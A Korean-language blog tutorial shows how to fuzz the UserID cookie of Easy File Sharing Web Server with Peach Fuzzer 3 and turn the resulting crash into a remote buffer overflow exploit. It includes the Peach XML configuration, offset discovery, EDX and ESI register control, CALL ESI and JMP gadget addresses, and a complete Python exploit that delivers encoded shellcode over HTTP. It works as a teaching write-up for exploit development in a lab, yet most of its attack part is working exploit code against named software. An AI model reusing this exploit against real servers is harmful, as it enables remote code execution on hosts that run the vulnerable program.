PeachFuzzer를 활용한 Remote BoF 공격

이번 포스팅에서는 Peach Fuzzer 3 퍼징도구를 활용하여 원격 서버에 BoF 공격을 하는 과정을 소개한다.

참조 문헌 : http://blog.techorganic.com/2014/05/14/from-fuzzing-to-0-day/

원격 서버에 대한 BoF 공격도 로컬 프로그램과 크게 다르지 않으며.
다만 공격 Payload를 네트워크 패킷을 통해 전달한다는 차이점만 염두해두면 되겠다.

본 포스팅은 BoF에 대한 기초 개념만 있다면 쉽게 따라할 수 있는 수준이라 생각한다.

 

필요한 도구 및 소프트웨어

1. Immunity Debugger : 서버측 프로그램 디버깅을 위해 필요하다. OllyDbg를 사용해도 무방함

2. Easy File Sharing Web Server : 공격대상 S/W.  HTTP(S) 프로토콜을 통해 로컬파일을 공유할 수 있는 프로그램이다.

3. Peach Fuzzer 3 : 패킷 퍼징에 사용될 도구이다. 홈페이지에서 Community Edition을 다운받으면 된다.

4. SocketSniff : 각 프로세스 별 패킷을 캡쳐하여 분석할 수 있는 도구, NirSoft 에서 다운받는다.

5. 기타 : Sublime Text 2, Python 2.7 을 사용하였다.

※ 공격 환경 : Windows XP ServicePack3 (x86) / DEP OFF /

 

기본 어플리케이션 분석

Easy File Sharing Web Server (이하, EFSWS) 어플리케이션에 대해 먼저 간단히 알아보자.
EFSWS는 80 / 443 포트를 통해 로컬 PC 드라이브를 공유할 수 있는 프로그램이다.
다시 말해 웹브라우저를 통해 서버 내 로컬 파일을 다운로드 하거나 업로드 할 수 있도록
환경을 만들어주는 프로그램이다.

프로그램을 실행하면 아래와 같은 팝업 윈도우가 표시된다.

Cap 2014-07-09 15-12-10-544

 

매번 프로그램을 실행할 때 마다 이 메시지가 뜨게 되는데 (정식 등록을 하지 않는 이상)
팝업창을 없애주는 과정이 있어야 서버가 동작하므로, 퍼징할 때 이 메시지창을 처리해주는 과정이 반드시 필요하다.

다행스럽게도 Peach Fuzzer 3에는 팝업창을 자동으로 처리해주는 기능이 있으므로,
퍼징을 위한 XML 코드 작성시 해당 옵션을 꼭 포함시키도록 하자 (퍼징 셋팅 부분에서 상세히 다룰 예정)

“Try it” 버튼을 눌러 팝업창을 제거 하고 나면 아래와 같이 프로그램 화면이 표시된다.

Cap 2014-07-08 14-10-55-808

공격을 위한 별도의 옵션 조절은 필요하지 않으며, 현재 서버의 IP와 포트 정보만
잘 기록해 두었다가 퍼징시에 사용하도록 한다.

프로그램 실행 후 브라우저를 통해 로컬호스트에 접속하면 아래와 같이 로그인 화면이 표시된다.

Cap 2014-07-08 14-18-47-368

대부분의 프로그램 취약점이 사용자 입력값에 의해 발생하므로,
서버 접속 시 어떤 Request/Response 데이터를 주고 받는지 분석 후, 퍼징포인트를 잡는것이 중요하다.

위에서 언급한 Nirsoft의 SocketSniff를 활용하면 프로세스 별로 네트워크를 통해 주고 받는 데이터를
쉽게 확인할 수 있다. 사용방법은 아주 직관적이므로 별도의 설명은 생략하도록 하겠다.

Cap 2014-07-08 14-20-07-062

서버에 로그인 시 (login as a guest 버튼을 클릭) /vfolder.php 에 접속하게 된다.
이때 Cookie값에 UserID와 PassWD값이 보이는데, 이 곳이 바로 퍼징 포인트이다.
(파일 퍼징과는 달리 HTTP Request에 대한 퍼징은 상대적으로 수월하다는게 개인적인 생각이다.)

 

Peach Fuzzer 3를 이용한 퍼징

Peach Fuzzer 는 퍼징 도구 중 하나로써, Smart Fuzzing 및 Dumb Fuzzing 모두 지원한다.

특징이라면 XML 파일을 통해 퍼징하고자 하는 대상 (파일, 패킷 등)의 정보를
상세하게 셋팅할 수 있다는 것이다.

예를 들어, ZIP 파일 퍼징을 통해 Winzip 프로그램을 찾는다고 가정해보자.
퍼징을 수행하기 전에 ZIP 파일 포맷의 특성에 맞게 XML 코드에 “데이터 모델”을 생성해주면
이에 맞게 퍼징을 수행하게 된다
(Peach Fuzzer에 대한 내용은 추후 포스팅을 통해 다룰 예정)

다시 본론으로 돌아가보자.

우리가 원하는 것은 Request 헤더 내 UserID , PassWD에 대한 퍼징을 수행하는 것이므로
이에 맞게 XML 코드를 작성하여 퍼징을 위한 환경을 셋팅해준다.

아래는 XML 샘플 코드이다.

<?xml version="1.0" encoding="utf-8"?>
<Peach xmlns="http://peachfuzzer.com/2012/Peach" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://peachfuzzer.com/2012/Peach ../peach.xsd">

<DataModel name="DataVfolder">
<String value="GET /vfolder.ghp" mutable="false" token="true"/>
<String value=" HTTP/1.1" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>

<String value="User-Agent: " mutable="false" token="true"/>
<String value="Mozilla/4.0" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>

<String value="Host: ##HOST##:##PORT##" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>

<String value="Accept: " mutable="false" token="true"/>
<String value="text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>

<String value="Accept-Language: " mutable="false" token="true"/>
<String value="en-us" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>

<String value="Accept-Encoding: " mutable="false" token="true"/>
<String value="gzip, deflate" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>

<String value="Referer: " mutable="false" token="true"/>
<String value="http://##HOST##/" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>

<String value="Cookie: " mutable="false" token="true"/>
<String value="SESSIONID=6771; " mutable="false" token="true"/>

<!-- fuzz UserID -->
<String value="UserID=" mutable="false" token="true"/>
<String value="" />
<String value="; " mutable="false" token="true"/>

<!-- fuzz PassWD -->
<String value="PassWD=" mutable="false" token="true"/>
<String value="" />
<String value="; " mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>

<String value="Conection: " mutable="false" token="true"/>
<String value="Keep-Alive" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>
</DataModel>

<DataModel name="DataResponse">
<!-- server reply, we don't care -->
<String value="" />
</DataModel>

<StateModel name="StateVfolder" initialState="Initial">
<State name="Initial">
<Action type="output">
<DataModel ref="DataVfolder"/>
</Action>
<Action type="input">
<DataModel ref="DataResponse"/>
</Action>
</State>
</StateModel>

<Agent name="LocalAgent">
<Monitor class="WindowsDebugger">
<Param name="CommandLine" value="C:\EFS Software\Easy File Sharing Web Server\fsws.exe"/>
</Monitor>

<!-- close the popup window asking us to buy the software before running tests -->
<Monitor class="PopupWatcher">
<Param name="WindowNames" value="Registration - unregistered"/>
</Monitor>
</Agent>

<Test name="TestVfolder">
<Agent ref="LocalAgent"/>
<StateModel ref="StateVfolder"/>
<Publisher class="TcpClient">
<Param name="Host" value="##HOST##"/> <!-- Host Name and Port is set by -D option -->
<Param name="Port" value="##PORT##"/>
</Publisher>

<Logger class="File">
<!-- save crash information in the Logs directory -->
<Param name="Path" value="Logs"/>
</Logger>

<!-- use a finite number of test cases that test UserID first, followed by PassWD -->
<Strategy class="Sequential" />

</Test>
</Peach>

 

보통은 호스트 IP나 포트를 하드코딩(?) 해서 XML에 넣어주기도 하는데
Peach Fuzzer 3버전부터 -D 옵션을 통해 “##” 처리된 부분을 Argument로 처리해주는 기능이 추가되면서
좀더 확장성이 좋아졌다. (물론 2버전에 비해 퍼징 속도도 빠르다)

이제 모든 환경이 셋팅되었으니 퍼징을 시작해보자.

Peach Fuzzer와 XML파일을 넣어둔 폴더에서 아래와 같이 명령을 실행한다.

[code] peach -DHOST=127.0.0.1 -DPORT=80 efs_fuzz.xml TestVfolder [/code]

Cap 2014-07-08 16-36-26-613

명령을 실행하면 위 화면과 같이 Peach Fuzzer가 퍼징을 수행하기 시작한다.

맨 앞에 보이는 431, 432…는 퍼징 Itreration Count를 나타내며,
Falut 혹은 Crash가 발생하게 되면 노란색 글씨로 “Caught fault at iteration…” 메시지를 출력한다.

어느정도 Crash가 수집되었다고 생각되면 Peach Fuzzer가 설치된 위치의
Logs폴더를 확인해보면, 각각의 fault별로 폴더가 생성되어 로그가 저장되어 있다.

Cap 2014-07-08 16-54-02-700

Peach Fuzzer는 Windbg와 연동하여 해당 프로그램의 크래시 여부를 판단하며
!exploitable Extention Module을 통해 해당 크래시가 익스플로잇 가능한지 여부를 판단해준다.

위 화면은 크래시를 발생시킨 Request 중 하나이다.
보다시피 UserID부분에 특정 문자(‘A’)를 특정 길이 이상 넣을 경우 Access Violation 이 발생하면서
Exploitable한 크래시가 발생하는 것을 확인할 수 있다.

Cap 2014-07-08 16-53-35-173

로그 파일 중 WindowsDebugEngine_description.txt 파일을 열어보자.

해당 Request를 서버 프로그램으로 전송했을 때, 어느 지점에서 크래시가 발생했는지
Windbg 로그를 통해 상세하게 확인 할  수 있다.

54번째 라인을 보면 edx 값이 “41414141”로 변경되어 있으며,
60번째 라인에서 [edx+28]의 주소값을 call하면서 Crash가 발생하게 된 것으로 보인다.

edx을 값을 변조할 수 있고, 변조 된 시점에서 edx+28위치의 값을 호출한다?
그렇다면 edx값을 우리가 원하는 값으로 바꿔 프로그램 흐름을 바꿀 수 있을 것으로 보인다.

이제 본격적으 Exploit을 해보도록 하자.

 

Lest’s Exploit

헤더 내용중 “UserID” 값에서 크래시가 발생했으므로, 간단한 코드를 작성하여 테스트를 해본다.
Fuzzing은 해당 서버에서 수행하지만 아래의 공격코드는 별도의 공격자 PC에서 실행해야 한다.

import socket
import struct

target = "192.168.42.128"
port = 80

payload = "A" * 100

buf = (
"GET /vfolder.ghp HTTP/1.1\r\n"
"User-Agent: Mozilla/4.0\r\n"
"Host:" + target + ":" + str(port) + "\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Language: en-us\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Referer: http://" + target + "/\r\n"
"Cookie: SESSIONID=6771; UserID=" + payload + "; PassWD=;\r\n"
"Conection: Keep-Alive\r\n\r\n"
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(buf)
s.close()

 

해당 코드를 실행하면 원격 서버에서 아래 화면과 같이 크래시가 발생한다.

Cap 2014-07-10 12-17-15-882

WinDbg 로그에서 본 것과 동일하게 [EDX+28] 을 CALL하면서 크래시가 발생한다.

레지스터 영역도 확인해보자.

Cap 2014-07-10 12-19-32-326

EDX값이 “41414141” 로 덮여 있을뿐만 아니라 ECX, ESI, EDI값 까지 영향을 받은것으로 보인다.

현재 100개의 ‘A’문자를 입력시에 크래시가 발생한 것을 확인했으므로,
EDX를 조작하기 위해서 몇개의 Junk 문자가 필요한지를 알아보기 위해
백트랙에 포함된 Pattern_Create.rb 파일을 사용해 페이로드를 생성한다.

payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A"

페이로드를 수정하여 공격을 해보면 아래와 같이 EDX값이 변경되며,

이 값을 Pattern_offset.rb 를 이용해 확인해보면 80번째 값인 것을 알 수 있다.

Cap 2014-07-10 12-28-57-235

이제 페이로드를 아래와 같이 변경하여 EDX값을 “42424242”로 바꿀 수 있는지 알아보자.

payload = "A"*80 + "B"*4 + "C"*300

 

Cap 2014-07-10 12-32-53-465

EDX값을 “42424242”로 바꾸는데 성공했다.

앞서 우리는 [EDX+28] 위치를 CALL하면서 크래시가 발생하는 것을 확인했었다.
이제 EDX값을 우리가 실행시키고자 하는 주소값으로 바꿔준다면,
쉘코드를 실행할 수 있을 것으로 예상된다.

스택에 위치하는 쉘코드를 실행하는 방법은 여러가지가 있지만
현재 레지스터의 구성을 볼 때 ESI의 값 역시 페이로드로 덮여 있으므로,
“CALL ESI 명령 + 쉘코드 위치로 점프 명령” 조합을 통해
쉘코드를 실행해보고자 한다.

먼저 로드되는 DLL 중 “imageload.dll” 파일에서 CALL ESI 명령을 검색해보자.

Cap 2014-07-10 20-40-29-164

 

10023701주소에서 CALL ESI 명령어가 검색되었다.

이제 이 주소를 [EDX+28] 위치시키면, CALL [EDX+28] 에 의해 해당 주소를 참조하게 되어
CALL ESI를 실행하게 될 것이다.

Cap 2014-07-10 20-27-41-078

 

EDX+28의 위치를 잡기 위해 페이로드로 덮여있는 스택의 구조를 살펴보자.
위의 그림에서 파란색으로 표시된 위치 “019F6968″에 CALL ESI 주소를 넣는다고 가정하면
EDX값은 28 을 뺀 “019F6940″으로 설정하면 된다.

현재까지 내용을 참고하여 페이로드를 수정하면 아래와 같다.

payload = "A"*80
payload += struct.pack("<I", 0x019F6940) # Overwrite EDX
payload += "C"*43 # Junk
payload += struct.pack("<I", 0x10023701) # CALL ESI Addr.
payload += "C"*150

 

Cap 2014-07-10 21-16-34-145

실행결과 EDX에 019F6940값이 덮히고, 이 값이 019F6968 – 10023701 (CALL ESI) – 를 참조하는 것을
확인할 수 있다.

현재 ESI 레지스터 값은 “019F68E8” 이며, 이 값은 페이로드 시작점 (“A” 문자열)으로 부터
64바이트 떨어진 곳에 위치하고 있다.

따라서 ESI 레지스터 값이 위치하는 곳에 쉘코드의 위치로 점프하는 코드를 넣어주면
현재 “C” 문자열로 덮여진 곳에 위치할 쉘코드를 실행가능할것으로 보인다.

ESI 레지스터값을 90바이트 더하여 점프하는 페이로드는 아래와 같다.

payload = "A"*64
payload += "\x81\xee\x70\xff\xff\xff" # SUB ESI, 90
payload += "\xff\xe6"
payload += "A"*8
######## 80 Bytes Payload ########
payload += struct.pack("<I", 0x019F6940) # Overwrite EDX
payload += "C"*108 # Junk
payload += struct.pack("<I", 0x10023701) # CALL ESI Addr.
payload += "C"*250

 

실행 결과 아래와 같이 정상적으로 컨트롤 되고 있다.

Cap 2014-07-10 23-11-49-916

이제 마지막으로 계산기를 실행하는 쉘코드를 “C”문자열 위치에 배치시켜보자
최종 공격 코드는 아래와 같다.

import socket
import struct

target = "192.168.247.137"
port = 80

shellcode = (
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
"\x1c\x39\xbd"
)

payload = "A"*64
payload += "\x81\xee\x70\xff\xff\xff" # SUB ESI, 90
payload += "\xff\xe6" # JMP ESI
payload += "A"*8
######## 80 Bytes Payload ########
payload += struct.pack("<I", 0x01A56940) # Overwrite EDX
payload += "C"*108 # Junk
payload += struct.pack("<I", 0x10023701) # CALL ESI Addr.
payload += "\x90"*20 # NOP
payload += shellcode
payload += "C"*75
#payload += struct.pack("<I", 0x10023701) # call esi
buf = (
"GET /vfolder.ghp HTTP/1.1\r\n"
"User-Agent: Mozilla/4.0\r\n"
"Host:" + target + ":" + str(port) + "\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Language: en-us\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Referer: http://" + target + "/\r\n"
"Cookie: SESSIONID=6771; UserID=" + payload + "; PassWD=;\r\n"
"Conection: Keep-Alive\r\n\r\n"
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(buf)
s.close()

 

Cap 2014-07-10 23-46-27-306

계산기가 실행되면서 익스플로잇에 성공했다.

기존에 Corelan과 같은 곳에서 배포한 튜토리얼은 ESP와 EIP를 모두 컨트롤 할 수 있는 예제가 많았다.

그러나 이 프로그램의 경우 EDX값을 조정하는 방식이며
ESP 값 자체를 사용자가 컨트롤 할 수 없기 때문에 (덮어쓸 수 없음) JMP ESP는 사용하기 힘들었다.

다행히 ESI값이 페이로드로 덮어쓸 수 있었기 때문에 CALL ESI와 JMP명령을 통해
익스플로잇이 가능했다고 본다.

다음 포스팅에서는 Peach Fuzzer의 기능과 활용법에 대해 다뤄볼까 한다.

사실 이번 익스플로잇 같은 경우는 Fuzzer가 없이도 충분히 사용자가 Junk 데이터를 전송해보면서
테스트가 가능하다고 생각된다. (물론 시간은 소요되겠지만)

다만 위와 같은 소켓 통신 기반의 프로그램을 공격할 때 어떤식으로 활용할 수 있는지를 알 수 있는
좋은 예제가 아닐까 싶다.

 

 

Site Footer